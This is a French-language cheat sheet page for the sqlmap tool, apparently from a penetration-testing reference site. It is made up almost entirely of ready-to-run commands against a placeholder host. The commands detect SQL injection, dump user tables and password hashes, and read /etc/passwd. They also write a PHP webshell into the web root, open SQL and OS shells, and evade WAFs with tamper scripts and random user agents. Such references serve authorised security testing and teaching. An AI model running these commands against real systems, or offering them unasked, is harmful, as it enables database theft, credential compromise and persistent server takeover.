WEB Outil · Web

sqlmap

Détecter et exploiter les injections SQL : dump, shell, fichiers et contournement de WAF.

Intermédiaire / 1 min de lecture / maj 09 nov 2026 / 4 tags
raw domaine signaler
Index des sheets

#Scan de base

bash
# Détection et batch (aucune question interactive)
sqlmap -u "https://target.test/item?id=1" --batch

# Depuis une requête Burp sauvegardée
sqlmap -r request.txt --batch --level 3 --risk 2

# POST avec cookie et header custom
sqlmap -u "https://target.test/login" \
  --data "user=admin&pass=test" \
  --cookie "session=abc123" \
  --headers "X-Forwarded-For: 127.0.0.1" \
  --batch
Option Effet
--dbs Liste les bases
-D db --tables Tables d'une base
-T table --columns Colonnes
--dump Dump les données
--level 1-5 Nombre de tests (défaut 1)
--risk 1-3 Risque des payloads
--technique BEUSTQ Techniques autorisées
--tamper Scripts de contournement WAF
--os-shell Shell système (si DB le permet)

#Explorer la base

bash
# Bases, tables, colonnes
sqlmap -u "https://target.test/item?id=1" --dbs --batch
sqlmap -u "https://target.test/item?id=1" -D app --tables --batch
sqlmap -u "https://target.test/item?id=1" -D app -T users --columns --batch

# Dump ciblé
sqlmap -u "https://target.test/item?id=1" -D app -T users \
  -C username,password,email --dump --batch

# Hashs et mots de passe
sqlmap -u "https://target.test/item?id=1" --passwords --batch

#Fichiers et shell

bash
# Lire un fichier serveur
sqlmap -u "https://target.test/item?id=1" --file-read=/etc/passwd

# Écrire un webshell (droits élevés nécessaires)
sqlmap -u "https://target.test/item?id=1" --file-write=shell.php \
  --file-dest=/var/www/html/shell.php

# Shell SQL interactif
sqlmap -u "https://target.test/item?id=1" --sql-shell

# Shell OS
sqlmap -u "https://target.test/item?id=1" --os-shell

#Contournement et discrétion

bash
# WAF : tamper scripts (liste disponible avec --list-tampers)
sqlmap -u "https://target.test/item?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --delay 1 --batch

# Forcer une technique et un DBMS
sqlmap -u "https://target.test/item?id=1" --technique=T --dbms=mysql

# Tor / proxy
sqlmap -u "https://target.test/item?id=1" --proxy=http://127.0.0.1:8080
bash
# Lister les tampers utiles
sqlmap --list-tampers | grep -iE "space|union|between|charencode"
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?